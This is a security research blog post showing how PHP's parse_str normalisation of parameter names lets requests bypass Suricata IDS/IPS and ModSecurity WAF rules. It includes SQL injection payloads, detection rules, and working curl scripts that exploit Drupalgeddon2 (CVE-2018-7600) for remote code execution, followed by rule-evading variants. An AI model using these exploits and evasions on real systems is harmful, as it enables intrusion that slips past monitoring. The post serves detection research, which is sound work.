利用PHP解析字符串函数parse_str绕过IDS,IPS和WAF

利用PHP解析字符串函数parse_str绕过IDS,IPS和WAF

In this post, we’ll see how the PHP query string parser could lead to many IDS/IPS and Application Firewall rules bypass.

TL;DR: As you know, PHP converts query string (in the URL or body) to an associative array inside $_GET or $_POST. For example: /?foo=bar becomes Array([foo] => "bar").  The query string parsing process removes or replaces some characters in the argument names with an underscore. For example /?%20news[id%00=42 will be converted to Array([news_id] => 42). If an IDS/IPS or WAF has a rule for blocking or logging a non-numeric value in the news_id parameter, it could be bypassed by abusing of this parsing process with something like:

/news.php?%20news[id%00=42"+AND+1=0--

In PHP, the value of the argument name in the example above %20news[id%00 will be stored to $_GET["news_id"].

Why?

PHP needs to convert all arguments into a valid variable name, so when the query string is parsed it does two main things:

  • removes initial whitespace
  • converts some characters to underscore (including whitespace)

For example:

USER INPUTDECODEDPHP VARIABLE NAME
%20foo_bar%00  foo_barfoo_bar
foo%20bar%00foo barfoo_bar
foo%5bbarfoo[barfoo_bar

With a simple loop such as the following, you can discover which character is removed or converted to underscore by using the parser_str function:

PHP parser_str
<?php

    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {

            for($i=0;$i<=255;$i++) {
                echo "3[999D3[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
                
                /* yes... I've added a sleep time on each loop just for 
                the scenic effect :) like that movie with unrealistic 
                brute-force where the password are obtained 
                one byte at a time (∩`-´)⊃━☆゚.*・。゚ 
                */
                usleep(5000);
                
                if(isset($o["foo_bar"])) {
                    echo "3[999D3[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }

            echo "3[999D3[K\r";
            echo "\n";
    }
GIF running parse_str.php

parse_str is used over get, post, and cookie. Something similar happens with headers too if your web server accepts header names with dots or whitespaces. I’ve executed three times the loop above, enumerating all characters from 0 to 255 in both ends of the parameter name, and instead of the underscore. This is the results:

  • [1st]foo_bar
  • foo[2nd]bar
  • foo_bar[3rd]

In the scheme above foo%20bar and foo+bar are equivalent and parsed as foo bar.

Suricata

For the uninitiated, Suricata is an “open-source, mature, fast and robust network threat detection engine” and its engine is capable of real-time intrusion detection (IDS), inline intrusion prevention (IPS), network security monitoring (NSM) and offline pcap processing.

With Suricata, you can even define a rule that inspects HTTP traffic. Let’s assume you have a rule like:

alert http any any -> $HOME_NET any (\
    msg: "Block SQLi"; flow:established,to_server;\
    content: "POST"; http_method;\
    pcre: "/news_id=[^0-9]+/Pi";\
    sid:1234567;\
)

This rule checks if news_id has a non-numeric value. In PHP it can be easily bypassed  abusing of its query string parser, like one of the following:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

Searching on Google and GitHub, I found out that there’re many Suricata rules for PHP that could be bypassed by replacing underscore, adding a null byte, or whitespace in the inspected argument name. A real example:

https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

As we saw before, it could be bypassed by:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

To be honest, it would be enough to change the argument position like:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF (ModSecurity)

The PHP query string parser could be abused to bypass WAF rules too. Imagine a ModSecurity rule like SecRule !ARGS:news_id "@rx ^[0-9]+$" "block" obviously is prone to the same bypass technique. Fortunately, in ModSecurity, you can specify a query string argument by a regular expression. Something like:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

This will block all the following requests:

⛔️/?news[id=1%22+AND+1=1--'
⛔️/?news%5bid=1%22+AND+1=1--'
⛔️/?news_id%00=1%22+AND+1=1--'

PoC || GTFO

Let’s create a PoC with Suricata and Drupal CMS to exploit CVE-2018-7600(Drupalgeddon2 Remote Code Execution). To keep it simple, I’ll run Suricata and Drupal on two docker containers, and I’ll try to exploit Drupal from the Suricata container.

I’ll activate two rules on Suricata:

For the Suricata installation, I followed the official installation guide, and for Drupal, I ran the vulhub container that you can clone here:

Ok, first of all, let’s try to exploit CVE-2018-7600. I want to create a little bash script that executes curl, something like:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

As you can see, the script above executes the command id. Let’s try it:

Drupal CVE-2018-7600 exploited

Now let’s try to import the following two rules in Suricata: I wrote the first one, and it just tries to match form_id=user_register_form inside a request body; Positive Technology wrote the second and matches /user/register in the request URL and something like #post_render in the request body.

My rule:

alert http any any -> $HOME_NET any (\
  msg: "Possible Drupalgeddon2 attack";\
  flow: established, to_server;\
  content: "/user/register"; http_uri;\
  content: "POST"; http_method;\
  pcre: "/form_id=user_register_form/Pi";\
  sid: 10002807;\
  rev: 1;\
)

PT rule:

alert http any any -> $HOME_NET any (\
  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
  flow: established, to_server; \
  content: "/user/register"; http_uri; \
  content: "POST"; http_method; \
  content: "drupal"; http_client_body; \
  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
  reference: cve, 2018-7600; \
  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
  classtype: attempted-admin; \
  reference: url, github.com/ptresearch/AttackDetection; \
  metadata: Open Ptsecurity.com ruleset; \
  sid: 10002808; \
  rev: 2; \
)

After restarting Suricata, I’m ready to know if the two rules above will intercept my exploit:

Exploit intercepted

Yeah! We have two Suricata logs:

  • ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
  • Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

Bypass all the things!

Both rules are really easy to bypass. We’ve already seen how to bypass my rule abusing of PHP query string parser. We can replace form_id=user_register_form to something like:

form%5bid=user_register_form

As you can see, only the PT rule matched. Analyzing the regex of the PT rule, we can see that it match # and his encoded version %23. What it doesn’t is to match the encoded version of underscore character. So, we can just bypass it by using post%5frender instead of post_render:

Both rules have been bypassed by the following exploit:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

from